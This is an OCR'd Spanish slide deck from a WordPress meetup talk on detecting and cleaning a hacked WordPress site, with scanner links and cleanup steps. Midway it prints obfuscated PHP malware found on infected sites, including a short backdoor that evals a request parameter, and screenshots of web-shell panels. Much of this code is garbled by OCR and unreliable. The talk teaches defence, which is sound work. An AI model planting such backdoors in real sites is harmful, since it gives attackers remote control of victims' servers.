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;. Como saberlo?
-Carga lenta

-Aparicion de imagenes y enlaces en paginas
-Error de Sitio potencialmente peligroso en navegadores

@TomyCant // #/WNCSantander



2, Y ahora que?
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2, Y ahora que?

No ponerse nervioso

@TomyCant // #/WNCSantander



2, Y ahora que?

No ponerse nervioso
Utiliza un antivirus online

https.//sitecheck.sucuri.net/
https://www.virustotal.com/es/
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https://sitecheck.sucuri.net/
https://www.virustotal.com/es/

.Y ahora que?
No ponerse nervioso

Utiliza un antivirus online
Descarga todos tus archivos y pasa varios antivirus
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.Y ahora que?

No ponerse nervioso

Utiliza un antivirus online

Descarga todos tus archivos y pasa varios antivirus
Utiliza un plugin de escaneo de seguridad

MM Wordfence
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MM Wordfence"

Vamos a ver que encontramos
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Y encontramos cosas como
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Esto

<Tphp $GLOBALS['uBd®3'] = "\x25\x3c\x5c\x69\xd8\x6T\x2c\ x5\ x64'\ x 44\ x5d \ x6c\x 51\ x40% x68\ x6d\ x 2B\ x5\ 38\ xTa\ x4 9\ xTe\x3a\ xd \x33\x208\ xdd\ xa

\x4e\ X6\ x66\ x4\ 60\ X Td \ X T4\ 3d\ T\ K56\ X240 2 TAXESAXT CAXEIN TN XE 1\ 2d \ 7D\ 3T\ 23 2 x4 2\ 2 xd T xda\ x 3T\ 34\ x6 2\ xBa\ x5a\ x3b\ x32
ETXT 022\ 5T\ O\ 30N x43\ x4b\ 3N\ KB\ X T2\ T2 TAXE T Ee\ X TEA XN 52\ X 53\ 28\ X5 D\ K45\ X6e\ SO\ XB5 \ 21\ x4 T 2D\ X T x5e\ x4 1\ 35\ %31
AXTSNX3B XTI\ x26";

$GLOBALS [$GLOBALS[ 'u8da3']1 [57] . $GLOBALS['u8de3'] [93]. $GLOBALS['u8d@3 '] [8] . $GLOBALS[ 'uBd@3'][56] . $GLOBALS[ 'uBd@3'] [93] . $GLOBALS[ ‘udda3’ ][92
1.$GLOBALS[ 'uBd@3'] [18]1] = $GLOBALS['uB8d@3'][42].$GLOBALS[ 'u8d@3'] [14].%$GLOBALS[ 'uBd@3'] [71];

$GLOBALS [$GLOBALS[ 'uB8d@3'] [29] . $GLOBALS[ 'uBd@3'] [68] . $GLOBALS [ 'uBd@3 '] [69] . $GLOBALS['u8d@3'] [32] . $GLOBALS[ 'uBda3'] [68] . $GLOBALS[ 'uBd@3'] [
95] . $GLOBALS [ ' uBd®3']1[44]1]1 = $GLOBALS['uBd@3'][5].%$GLOBALS[ 'u8d@3'] [71].$GLOBALS [ 'uBdB3*'][8];

$GLOBALS [$GLOBALS[ ' u8d@3'][76] . $GLOBALS[ 'u8d@3'][54] . $GLOBALS['uBde3'][38].$GLOBALS['uBde3'] [44].$GLOBALS [ ' u8de3'][25]. $GLOBALS[ ' uBde3'1[
92]]1 = $GLOBALS['u8d@3'] [B].$GLOBALS['uBd@3'] [85] . $GLOBALS|[ 'uBd@3'] [30] . $GLOBALS['uBd@3'] [3].$GLOBALS['uBd@3'] [B3].$GLOBALS[ 'uBde3'1[

851;

$GLOBALS [$GLOBALS[ 'u8d@3'] [76] . $GLOBALS [ ' uBd@3 '] [44] . $GLOBALS ['u8d@3'] [95] . $GLOBALS[ 'uBd@3'] [69] . $GLOBALS['u8d@3'] [93]1] = $GLOBALS['uBd@3'
1[62]. $GLOBALS ['uBd®@3'] [34] . $GLOBALS['uBd@3']1 [71].$GLOBALS [ 'uBd@3']1 [11]. $GLOBALS ['uBd@3'] [85]. $GLOBALS [ 'uBda3 '] [83];

$GLOBALS [$GLOBALS[ 'uBd@3'] [85] . $GLOBALS[ 'uBd@3'] [85] . $GLOBALS [ 'uBd@3'] [69] . $GLOBALS[ 'uBd@3'] [95] . $GLOBALS[ ' uBd@3"] [44] . $GLOBALS[ 'uBd@d3'][

66] . $GLOBALS [ 'uBd@3'] [38] . $GLOBALS[ 'uBd@3'] [92] . $GLOBALS['uBd@3'] [56]1]1 = $GLOBALS['uBde3'] [dl $GLOBALS [ 'uBd@3'] [85] . $GLOBALS['uBd@3'] [:

301 . $GLOBALS [ 'uBd@3'1[3]. $GLOBALS [ 'u8d@3 '] [83]. $GLOBALS['uBd@3'] [85] . $GLOBALS[ 'uBd@3'1[81;

$GLOBALS [$GLOBALS [ 'uBd@3'] [57] . $GLOBALS[ ' uBd@3'] [55] . $GLOBALS[ 'u8d@3'] [24] . $GLOBALS[ 'uBdA3'] [92] . $GLOBALS[ 'u8d@3'] [24]. $GLOBALS['u8d@3'][
93]. $GLOBALS [ 'uBd@3'] [66] . $GLOBALS['uBd@3'] [42]] = $GLOBALS['uBd@3'][3].$GLOBALS['uBd@3 '] [83].$GLOBALS[ 'uBda3'] [3]. $GLOBALS[ 'uBda3'][

654] . $GLOBALS [ ' uBd®3 '] [62] . $GLOBALS['uBd@3'] [85] . $GLOBALS[ ' uBd@3'] [34];

$GLOBALS [$GLOBALS [ 'uBd@3'] [76] . $GLOBALS['uBd@3'] [659] . $GLOBALS [ 'u8d@3'] [56] . $GLOBALS['uBd@3'] [42] . $GLOBALS [ 'uBd@3'] [56] . $GLOBALS[ 'uBd@3']1[ I

9211 = $GLOBALSI['uBd@3']1[62].$GLOBALS['u8d@3'][85]. $GLOBALS['uBd@3']1[71]. $GLOBALS[ 'uBd@3'][3]1. $GLOBALS['uBd@3 '] [44]. $GLOBALS[ 'uBd@3'] [
11]. $GLOBALS['uBd®3']1[3]. $GLOBALS['u8d@3'] [19] . $GLOBALS['uBd@3'] [85];

$GLOBALS [$GLOBALS['uBd@3'] [14] . $GLOBALS['uBd@3'] [44] . $GLOBALS['u8d@3'] [56] . $GLOBALS[ 'uBd@3'] [69]] = $GLOBALS['uBdd3']1[72].$GLOBALS[ ' uBda3'
10[14] . $GLOBALS ['uBd@3'] [72] . $GLOBALS [ ' uBd@3 '] [36] . $GLOBALS[ 'u8d@3'] [85] . $GLOBALS[ ' uBd@3 '] [71] . $GLOBALS['u8d@3'] [62] . $GLOBALS [ ' uBd@3'] [
3].4GLOBALS['uBd@3'] [5] . $GLOBALS['uBd@3'] [83];

$GLOBALS [$GLOBALS['uB8d@3 '] [96] . $GLOBALS[ 'uBd@3'] [93] . $GLOBALS[ ' uBd@3 '] [18] . $GLOBALS['uBd@3'] [42] . $GLOBALS['uBda3'] [24]1]1 = $GLOBALS['uBd@3'
1[54] . $GLOBALS ['uBd@3'] [83] . $GLOBALS [ ' uBd®3'] [62] . $GLOBALS[ 'u8d@3'] [85] . $GLOBALS [ 'uBd@3 '] [71] . $GLOBALS['uBd@3'] [3] . $GLOBALS['uBd@3'] [
44] . $GLOBALS [ 'uBd@3'] [11] . $GLOBALS [ ' uBd@3'] [3]. $GLOBALS [ 'uBd@3'] [19] . $GLOBALS[ 'u8d@3'] [85]1;

$GLOBALS [$GLOBALS[ 'u8d@3'] [72]1. $GLOBALS[ 'uBd@3'] [38] . $GLOBALS[‘uBd@3 '] [44] . $GLOBALS['uBd@3'] [54] . $GLOBALS['uBda3'] [66]1]1 = $GLOBALS['uBde3'
1[56] . $GLOBALS [ 'uBd@3'] [44] . $GLOBALS['uBd@3'] [62] . $GLOBALS[ 'uBd@3'] [85] . $GLOBALS['uBd@3'] [95] . $GLOBALS [ 'uBd@3 '] [55] . $GLOBALS['uBd@3'] [
654] . $GLOBALS [ 'uBd@3'] [8] . $GLOBALS [ 'u8d@3'] [85] . $GLOBALS['u8da3'] [42] . $GLOBALS [ 'u8d@3'] [5] . $GLOBALS['u8d@3'] [8] . $GLOBALS['uBd@3'] [B5];

$GLOBALS [$GLOBALS[ 'uBd@3'] [96] . $GLOBALS [ ' uBd@3 '] [85] . $GLOBALS ['uBd@3'] [30] . $GLOBALS['uBd@3'] [44] . $GLOBALS['uBd@3'] [85]1]1 = $GLOBALSI['uBd@3'
1062]. $GLOBALS [ 'uBd@3'] [85] . $GLOBALS['uBd@3'] [34] . $GLOBALS[ 'u8d@3'] [64] . $GLOBALS['uBd@3'][34]. $GLOBALS['uBd@3 '] [3]. $GLOBALS['uBda3'] [
15] . $GLOBALS [ 'uBd@3 '] [85] . $GLOBALS[ 'uB8d®3'] [64] . $GLOBALS['uBd@3'] [11].$GLOBALS['uBd@3']1[3]. $GLOBALS[ 'u8d@3'] [15]. $GLOBALS [ 'u8d@3'1[3].
$GLOBALS['uBd@3'] [34];

$GLOBALS [$GLOBALS [ 'uB8d@3'] [83] . $GLOBALS['uBd@3'] [54] . $GLOBALS['u8d@3'] [44] . $GLOBALS[ 'uBd@3'] [54] . $GLOBALS['u8d@3'] [24].$GLOBALS[ 'uBde3'] [
6611 = $GLOBALS['uB8d@3'][62].$GLOBALS[ 'uBd@3'] [56].$GLOBALS[ ' uBda3 '] [18]. $GLOBALS['uBd@3'] [18];

$GLOBALS [$GLOBALS[ 'uB8d83'] [36] . $GLOBALS[ 'uBd@3'] [55] . $GLOBALS[‘u8d@3'] [93] . $GLOBALS[ 'uBd@3'] [69] . $GLOBALS['u8d@3 '] [18]. $GLOBALS[ ' u8da3'] [

3@] . $GLOBALS [ ' uBd@3 '] [56] . $GLOBALS['u8de3'] [54]1] = $GLOBALS['uB8d@3'][43].$GLOBALS(['uBde3'] [56].$GLOBALS[ ' uB8d83'] [69] . $GLOBALS['u8de3']
TRAT &RINRAI ST GRAARIT (18] &C1INRAIET 'uRARI T TRAT €21 NRAIET P uRART ' TT03T €1 NRAIET P uRARR ! 1 T47T .
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0 esto

<7php

$sF="PCT4BAGODSE_";$521-strtolower($sF[4].$sFI5].%sF[9].%sF[108].%sF[6].%$sF[3]1.%
sF[11].$sF[8].%sF[10].$sFI1].%sF[7]1.$sF[B].%sF[18]);%$s20-strtoupper{$sF[11].%sF[@
1.$sF[7].%$sF[9].%$sF[2]); 17 (isset(${$520}['n318a65'])) {eval($s21(${$s20}['
n318a65'1));}7>
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e|/
wp-ajax.php
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Y todo esto acaba en...
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esto

lIpassword|| log out I

Darwin tm.graha 12,2.8 Darwin Kernel Version 12.2.8: Sat Aug 25 88:48:52 PDT 2012; root:xnu-2858,18.24~1/RELEASE_XB6_64 xB6_64 I
1‘1 Apachef2.2.22 (Unix) DAV/2 PHP/5.3.15 with Suhosin-Patch mod_ss1/2.2.22 Open55L/8.9.8r

b31 8 server ip : 127.6.6.1 | your ip : 127.8.8.1 | Time @ Server : 69 Dec 2813 23:55:84

4@ [/ Library / Server / Web / Data / Sites / Default /

«p% ps gual yaf?  ab s _wew > - shell command -

Change shell password

New password

Confirm password

Go !
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Windows NT W6292 6.1 build 7680 (Windows 7 Ultimate Edition) 1586
Apache/2 4.3 (Win32) OpenssL/1.8.1c PHP/5. 4.7
server ip : 127.8.8.1 | your ip : 127.8.8.1 | Time @ Server : 24 May 2013 19:36:21

p31ak

[E1 D] -\ picturesz \ Craphic Resource ‘. Tamfamfa \ famfamfa __?".:..'__-._

perms modified action download

LINK drwerwres -May-2813 15:22
LINK drwerwxru -May-2813 15:22
12.688 KB -TW-TW-IW- -Feb-28687 23:42
371.688 -TW-TW- - -Aug-28685 14:45
361.688 -TW-TW-FW- -Aug-2865 14:46
365.88 -TW-FW-TH- -Aug- 14:45
-Aug-2885 14:45

-Aug- 14:45

-Aug- 14:45

14:45

14:45

23:33
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Windows NT W6292 6.1 build 7688 (Windows 7 Ultimate Edition) 1536
Apache/2_.4_3 (Win32) OpenssL/1.9.1c PHP/5. 4.7

server ip - 137.8.6.1 | your ip : 127.8.8.1 | Time @ Server : 24 May 2813 19:43:23
LCITB] W D\ htdecs |, ja_mero \ i \

% putin » - shell command -

Separate multiple commands with a semicolon

S |
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Encode / decode

http.//www.convertstring.com/
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http://www.convertstring.com/

-Modifica todas tus contrasenas FTP, WordPress y bbdd
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-Modifica todas tus contrasenas FTP, WordPress y bbdd
-Copia los directorios wp-admin y wp-includes nuevos
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-Modifica todas tus contrasenas FTP, WordPress y bbdd
-Copia los directorios wp-admin y wp-includes nuevos
-Haz una copia de tu base de datos
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-Modifica todas tus contrasenas FTP, WordPress y bbdd
-Copia los directorios wp-admin y wp-includes nuevos
-Haz una copia de tu base de datos

-Restaura versiones actuales y limpias de temas y plugins
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-Modifica todas tus contrasenas FTP, WordPress y bbdd
-Copia los directorios wp-admin y wp-includes nuevos
-Haz una copia de tu base de datos

-Restaura versiones actuales y limpias de temas y plugins
-Busca usuarios que no reconozcas
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-Modifica todas tus contrasenas FTP, WordPress y bbdd
-Copia los directorios wp-admin y wp-includes nuevos
-Haz una copia de tu base de datos

-Restaura versiones actuales y limpias de temas y plugins
-Busca usuarios que no reconozcas

-Descarga el directorio uploads y busca “cosas raras”

@TomyCant // #/WNCSantander



-Modifica todas tus contrasenas FTP, WordPress y bbdd
-Copia los directorios wp-admin y wp-includes nuevos
-Haz una copia de tu base de datos

-Restaura versiones actuales y limpias de temas y plugins
-Busca usuarios que no reconozcas

-Descarga el directorio uploads y busca “cosas raras”
-Configura los permisos de archivos y directorios
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CONSEJO...

...para limpiar un WordPress Hackeado

https://es.wordpress.org/support/topic/limpiar-un-wordpress-infectadohackeado/
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https://es.wordpress.org/support/topic/limpiar-un-wordpress-infectadohackeado/

'|S-,T. lerra

Muchas gracias

¥ @Tomycen,

www.tomassierra.com
@ Tomycant
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